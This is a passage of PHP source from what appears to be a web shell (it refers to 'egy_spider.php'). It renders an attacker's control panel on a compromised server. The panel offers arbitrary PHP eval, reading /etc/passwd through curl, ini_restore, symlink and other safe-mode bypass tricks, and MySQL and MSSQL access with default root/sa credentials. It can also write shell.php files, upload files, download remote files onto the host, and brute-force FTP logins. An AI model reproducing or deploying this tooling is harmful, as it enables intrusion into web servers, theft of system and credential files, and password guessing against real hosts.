5849<option value="41">41</option>
5850<option value="42">42</option>
5851<option value="43">43</option>
5852<option value="44">44</option>
5853<option value="45">45</option>
5854<option value="46">46</option>
5855<option value="47">47</option>
5856<option value="48">48</option>
5857<option value="49">49</option>
5858<option value="50">50</option>
5859<option value="51">51</option>
5860<option value="52">52</option>
5861<option value="53">53</option>
5862<option value="54">54</option>
5863<option value="55">55</option>
5864<option value="56">56</option>
5865<option value="57">57</option>
5866<option value="58">58</option>
5867<option value="59">59</option>
5868</select>'
5869.in('hidden','cmd',0,'touch')
5870.in('hidden','dir',0,$dir)
5871.ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
5872echo $te.'</div>'.$table_end1.$fe;
5873}
5874
5875
5876$select='';
5877if(@function_exists('chmod')){$select .= "<option value=mod>CHMOD</option>";}
5878if(@function_exists('chown')){$select .= "<option value=own>CHOWN</option>";}
5879if(@function_exists('chgrp')){$select .= "<option value=grp>CHGRP</option>";}
5880if($unix && $select){
5881echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id6').$table_up2.div('id6').$ts;
5882echo @sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','param1',55,(($_POST['param1'])?($_POST['param1']):($_SERVER["SCRIPT_FILENAME"]))).ws(2)."<b>".$lang[$language.'_text68'].$arrow."</b>"."<select name=what>".$select."</select>".ws(4).in('text','param2 title="'.$lang[$language.'_text71'].'"',10,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
5883echo $te.'</div>'.$table_end1.$fe;
5884}
5885
5886
5887if(!$safe_mode){
5888$aliases2 = '';
5889foreach ($aliases as $alias_name=>$alias_cmd)
5890 {
5891 $aliases2 .= "<option>$alias_name</option>";
5892 }
5893echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id5555').$table_up2.div('id5555').$ts;
5894echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
5895echo $te.'</div>'.$table_end1.$fe;
5896}
5897
5898
5899echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id50').$table_up2.div('id50').$ts;
5900echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
5901echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;$tempdir )");
5902echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
5903echo $te.'</div>'.$table_end1.$fe;
5904
5905
5906if(!$safe_mode && $unix){
5907echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id9').$table_up2.div('id9').$ts;
5908echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
5909echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;$tempdir )");
5910echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
5911echo $te.'</div>'.$table_end1.$fe;
5912}
5913
5914
5915echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id800').$table_up2.$font;
5916echo "<div align=center>".div('id800')."<textarea name=php_eval cols=100 rows=10>";
5917echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("//unlink(\"egy_spider.php\");\r\n//readfile(\"/etc/passwd\");\r\n//file_get_content(\"/etc/passwd\");"));
5918echo "</textarea>";
5919echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
5920echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
5921echo "</div></div></font>";
5922echo $table_end1.$fe;
5923
5924
5925echo $fs.$table_up1.div_title($lang[$language.'_text200'],'id520').$table_up2.div('id520').$ts;
5926echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','snn',85,'/etc/passwd').in('hidden','cmd',0,'copy').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
5927echo $te.'</div>'.$table_end1.$fe;
5928echo $fs.$table_up1.div_title($lang[$language.'_text300'],'id500').$table_up2.div('id500').$ts;
5929echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','SnIpEr_SA',85,'/etc/passwd').in('hidden','cmd',0,'cURL').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
5930echo $te.'</div>'.$table_end1.$fe;
5931echo $fs.$table_up1.div_title($lang[$language.'_text203'],'id510').$table_up2.div('id510').$ts;
5932echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','ini_restore',85,'/etc/passwd').in('hidden','cmd',0,'ini_restore').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
5933echo $te.'</div>'.$table_end1.$fe;
5934echo $fs.$table_up1.div_title($lang[$language.'_text224'],'id800').$table_up2.div('id800').$ts;
5935echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>","<select size=\"1\" name=\"plugin\"><option value=\"plugin\">/etc/passwd</option></option></select>".in('hidden','cmd',0,'plugin').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
5936echo $te.'</div>'.$table_end1.$fe;
5937echo $fs.$table_up1.div_title($lang[$language.'_text220'],'id900').$table_up2.div('id900').$ts;
5938echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','sym1p2',50,(!empty($_POST['sym1p2'])?($_POST['sym1p']):("/../../../"))).in('text','sym1p',50,(!empty($_POST['sym1p'])?($_POST['sym1p']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'sym1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5939echo $te.'</div>'.$table_end1.$fe;
5940echo $fs.$table_up1.div_title($lang[$language.'_text222'],'id980').$table_up2.div('id980').$ts;
5941echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'sym2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5942echo $te.'</div>'.$table_end1.$fe;
5943
5944
5945{
5946echo $fs.$table_up1.div_title($lang[$language.'_text204'],'id23').$table_up2.div('id23').$ts;
5947echo sr(15,"<b>".$lang[$language.'_text205'].$arrow."</b>",in('text','log',96,(!empty($_POST['log'])?($_POST['log']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'Paralyzing been planted and you can usefilename.php?ss=http://shell.txt?').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
5948echo $te.'</div>'.$table_end1.$fe;
5949echo $fs.$table_up1.div_title($lang[$language.'_text207'],'id801').$table_up2.div('id801').$ts;
5950echo sr(15,"<b>".$lang[$language.'_text206'].$arrow."</b>",in('text','glob',85,'/etc/').in('hidden','cmd',0,'glob').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
5951echo $te.'</div>'.$table_end1.$fe;
5952echo $fs.$table_up1.div_title($lang[$language.'_text209'],'id5505').$table_up2.div('id5505').$ts;
5953echo sr(15,"<b>".$lang[$language.'_text206'].$arrow."</b>",in('text','root',85,'/etc/').in('hidden','cmd',0,'root').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
5954echo $te.'</div>'.$table_end1.$fe;
5955echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts;
5956echo "<table class=table1 width=100% align=center>";
5957echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5958echo $te.'</div>'.$table_end1.$fe;
5959}
5960
5961
5962
5963
5964
5965
5966echo $fs.$table_up1.div_title($lang[$language.'_text151'],'id1221').$table_up2.div('id1221').$ts;
5967echo "<table class=table1 width=100% align=center>";
5968echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test_5_2_6',85,(!empty($_POST['test_5_2_6'])?($_POST['test_5_2_6']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test_5_2_6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5969echo $te.'</div>'.$table_end1.$fe;
5970
5971
5972echo $fs.$table_up1.div_title($lang[$language.'_text161'],'id12211').$table_up2.div('id12211').$ts;
5973echo "<table class=table1 width=100% align=center>";
5974echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_5_2_6',85,(!empty($_POST['test2_5_2_6'])?($_POST['test2_5_2_6']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2_5_2_6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5975echo $te.'</div>'.$table_end1.$fe;
5976
5977
5978
5979
5980
5981
5982
5983
5984
5985
5986echo $fs.$table_up1.div_title($lang[$language.'_text162'],'id9820').$table_up2.div('id9820').$ts;
5987echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'test_5_2_4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5988echo $te.'</div>'.$table_end1.$fe;
5989
5990
5991
5992
5993echo $fs.$table_up1.div_title($lang[$language.'_text163'],'id9820').$table_up2.div('id9820').$ts;
5994echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'egy_perl').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5995echo $te.'</div>'.$table_end1.$fe;
5996
5997
5998
5999
6000{
6001echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id12').$table_up2.div('id12').$ts;
6002echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6003echo $te.'</div>'.$table_end1.$fe;
6004}
6005
6006
6007
6008
6009
6010
6011
6012
6013{
6014echo $fs.$table_up1.div_title($lang[$language.'_text144'],'id40').$table_up2.div('id40').$ts;
6015echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test19_md',15,(!empty($_POST['test19_md'])?($_POST['test19_md']):("mysqli"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test19_ml',15,(!empty($_POST['test19_ml'])?($_POST['test19_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text39'].$arrow."</b>".in('text','test19_mp',15,(!empty($_POST['test19_mp'])?($_POST['test19_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test19_port',15,(!empty($_POST['test19_port'])?($_POST['test19_port']):("3306"))));
6016echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test19_file',96,(!empty($_POST['test19_file'])?($_POST['test19_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test19').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6017echo $te.'</div>'.$table_end1.$fe;
6018}
6019
6020
6021{
6022echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id14').$table_up2.div('id14').$ts;
6023echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
6024echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6025echo $te.'</div>'.$table_end1.$fe;
6026}
6027
6028
6029
6030
6031{
6032echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id15').$table_up2.div('id15').$ts;
6033echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6034echo $te.'</div>'.$table_end1.$fe;
6035}
6036
6037
6038{
6039echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id13').$table_up2.div('id13').$ts;
6040echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6041echo $te.'</div>'.$table_end1.$fe;
6042}
6043
6044
6045{
6046echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id21').$table_up2.div('id21').$ts;
6047echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6048echo $te.'</div>'.$table_end1.$fe;
6049}
6050
6051
6052
6053
6054{
6055echo $fs.$table_up1.div_title($lang[$language.'_text170'],'id2221').$table_up2.div('id2221').$ts;
6056echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','egy_4_2_0',96,(!empty($_POST['egy_4_2_0'])?($_POST['egy_4_2_0']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'egy_4_2_0').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6057echo $te.'</div>'.$table_end1.$fe;
6058}
6059
6060
6061
6062
6063
6064
6065{
6066echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id22').$table_up2.div('id22').$ts;
6067echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8'));
6068echo sr(15,"<b>".$lang[$language.'_text117'].ws(2).$lang[$language.'_text60'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6069echo $te.'</div>'.$table_end1.$fe;
6070}
6071
6072
6073{
6074echo $fs.$table_up1.div_title($lang[$language.'_text120'],'id23').$table_up2.div('id23').$ts;
6075echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test9_file',96,(!empty($_POST['test9_file'])?($_POST['test9_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test9').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6076echo $te.'</div>'.$table_end1.$fe;
6077}
6078
6079
6080{
6081echo $fs.$table_up1.div_title($lang[$language.'_text121'],'id24').$table_up2.div('id24').$ts;
6082echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test10_file',96,(!empty($_POST['test10_file'])?($_POST['test10_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test10').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6083echo $te.'</div>'.$table_end1.$fe;
6084}
6085
6086
6087{
6088echo $fs.$table_up1.div_title($lang[$language.'_text122'],'id19').$table_up2.div('id19').$ts;
6089echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',96,(!empty($_POST['test_global'])?($_POST['test_global']):($dir))).in('hidden','cmd',0,'safe_dir').in('hidden','glob',0,'glob').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6090echo $te.'</div>'.$table_end1.$fe;
6091}
6092
6093
6094{
6095$select_n_rlph = "<select name='n_rlph'><option value=1>[ 1 ] (<<0,01 sec)</option><option value=2>[ 2 ] (<0,01 sec)</option>".
6096"<option value=3 selected>[ 3 ] (<1 sec (default))</option>".
6097"<option value=4>[ 4 ] (<10 sec)</option><option value=5>[ 5 ] (>100 sec (danger))</option><option value=6>[ 6 ] (>>100 sec (danger))</option></select>";
6098echo $fs.$table_up1.div_title($lang[$language.'_text145'],'id41').$table_up2.div('id41').$ts;
6099echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',30,(!empty($_POST['dir_rlph'])?($_POST['dir_rlph']):($dir))).ws(2).'<b>'.$lang[$language.'_text55'].'</b>'.ws(2).in('text','end_rlph',6,(!empty($_POST['end_rlph'])?($_POST['end_rlph']):('.php'))).ws(2).in('hidden','cmd',0,'safe_dir').ws(2).'<b>'.$lang[$language.'_text146'].'</b>'.ws(2).$select_n_rlph.ws(2).in('hidden','realpath',0,'realpath').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6100echo $te.'</div>'.$table_end1.$fe;
6101}
6102
6103
6104{
6105echo $fs.$table_up1.div_title($lang[$language.'_text130'],'id25').$table_up2.div('id25').$ts;
6106echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test11_file',96,(!empty($_POST['test11_file'])?($_POST['test11_file']):($tempdir.'test.zip'))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test11').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6107echo $te.'</div>'.$table_end1.$fe;
6108}
6109
6110
6111{
6112echo $fs.$table_up1.div_title($lang[$language.'_text123'],'id26').$table_up2.div('id26').$ts;
6113echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test12_file',96,(!empty($_POST['test12_file'])?($_POST['test12_file']):($tempdir.'test.bzip'))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test12').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6114echo $te.'</div>'.$table_end1.$fe;
6115}
6116
6117
6118{
6119echo $fs.$table_up1.div_title($lang[$language.'_text124'],'id27').$table_up3.div('id27').$ts;
6120echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test13_file2',96,(!empty($_POST['test13_file2'])?($_POST['test13_file2']):($dir."shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test13'));
6121echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test13_file1',96,(!empty($_POST['test13_file1'])?($_POST['test13_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
6122echo $te.'</div>'.$table_end1.$fe;
6123}
6124
6125
6126{
6127echo $fs.$table_up1.div_title($lang[$language.'_text126'],'id28').$table_up2.div('id28').$ts;
6128echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test14_file2',96,(!empty($_POST['test14_file2'])?($_POST['test14_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test14'));
6129echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test14_file1',96,(!empty($_POST['test14_file1'])?($_POST['test14_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
6130echo $te.'</div>'.$table_end1.$fe;
6131}
6132
6133
6134{
6135echo $fs.$table_up1.div_title($lang[$language.'_text133'],'id39').$table_up2.div('id39').$ts;
6136echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test18_file2',96,(!empty($_POST['test18_file2'])?($_POST['test18_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test18'));
6137echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test18_file1',96,(!empty($_POST['test18_file1'])?($_POST['test18_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
6138echo $te.'</div>'.$table_end1.$fe;
6139}
6140
6141
6142{
6143echo $fs.$table_up1.div_title($lang[$language.'_text127'],'id29').$table_up2.div('id29').$ts;
6144echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test15_file2',96,(!empty($_POST['test15_file2'])?($_POST['test15_file2']):($dir."shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test15'));
6145echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test15_file1',96,(!empty($_POST['test15_file1'])?($_POST['test15_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
6146echo $te.'</div>'.$table_end1.$fe;
6147}
6148
6149
6150{
6151echo $fs.$table_up1.div_title($lang[$language.'_text129'],'id16').$table_up2.div('id16').$ts;
6152echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test16_file',96,(!empty($_POST['test16_file'])?($_POST['test16_file']):($dir."test.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test16').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6153echo $te.'</div>'.$table_end1.$fe;
6154}
6155
6156
6157{
6158echo $table_up1.div_title($lang[$language.'_text131'],'id17').$table_up2.div('id17').$ts;
6159echo "<tr><td valign=top width=70%>".$ts;
6160echo sr(20,"<b>".$lang[$language.'_text30'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe);
6161echo $te."</td><td valign=top width=30%>".$ts;
6162echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_2').in('submit','submit',0,$lang[$language.'_butt8']).$fe);
6163echo $te."</td></tr>";
6164echo $te.'</div>'.$table_end1;
6165}
6166
6167
6168{
6169echo $table_up1.div_title($lang[$language.'_text132'],'id18').$table_up2.div('id18').$ts;
6170echo "<tr><td valign=top width=70%>".$ts;
6171echo sr(20,"<b>".$lang[$language.'_text4'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe);
6172echo $te."</td><td valign=top width=30%>".$ts;
6173echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_3').in('submit','submit',0,$lang[$language.'_butt8']).$fe);
6174echo $te."</td></tr>";
6175echo $te.'</div>'.$table_end1;
6176}
6177
6178
6179echo $fs.$table_up1.div_title($lang[$language.'_text171'],'id98200').$table_up2.div('id98200').$ts;
6180echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'egy_5_2_3').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6181echo $te.'</div>'.$table_end1.$fe;
6182
6183
6184
6185
6186{
6187echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
6188echo $table_up1.div_title($lang[$language.'_text5'],'id30').$table_up2.div('id30').$ts;
6189echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile0',85,''));
6190echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
6191echo $te.'</div>'.$table_end1.$fe;
6192}
6193
6194
6195
6196
6197{
6198echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
6199echo $table_up1.div_title('Multy '.$lang[$language.'_text5'],'id34').$table_up2.div('id34').$ts;
6200echo "<tr><td valign=top width=50%>".$ts;
6201echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile1',35,''));
6202echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile2',35,''));
6203echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile3',35,''));
6204echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile4',35,''));
6205echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile5',35,''));
6206echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile6',35,''));
6207echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile7',35,''));
6208echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile8',35,''));
6209echo $te."</td><td valign=top width=50%>".$ts;
6210echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile9',35,''));
6211echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile10',35,''));
6212echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile11',35,''));
6213echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile12',35,''));
6214echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile13',35,''));
6215echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile14',35,''));
6216echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile15',35,''));
6217echo sr(15,'',in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
6218echo $te."</td></tr>";
6219echo $te.'</div>'.$table_end1.$fe;
6220}
6221
6222
6223
6224
6225{
6226 echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id31').$table_up2.div('id31').$ts;
6227 echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>",$select_downloaders.in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://'));
6228 echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir.'/download.file').ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
6229 echo $te.'</div>'.$table_end1.$fe;
6230}
6231
6232
6233echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id32').$table_up2.div('id32').$ts;
6234echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14']));
6235$arh = $lang[$language.'_text92'];
6236if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; }
6237if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; }
6238if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
6239echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
6240echo $te.'</div>'.$table_end1.$fe;
6241
6242
6243{
6244echo $table_up1.div_title($lang[$language.'_text93'],'id33').$table_up2.div('id33').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
6245
6246
6247echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text94']."</div></b></font>";
6248echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').in('hidden','dir',0,$dir));
6249echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href='".$_SERVER['PHP_SELF']."?users'>".$lang[$language.'_text95']."</a> )</font>");
6250echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']);
6251echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']);
6252echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',0,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("root"))));
6253echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'passw.dic'))));
6254echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt1']));
6255
6256
6257echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
6258echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>";
6259echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
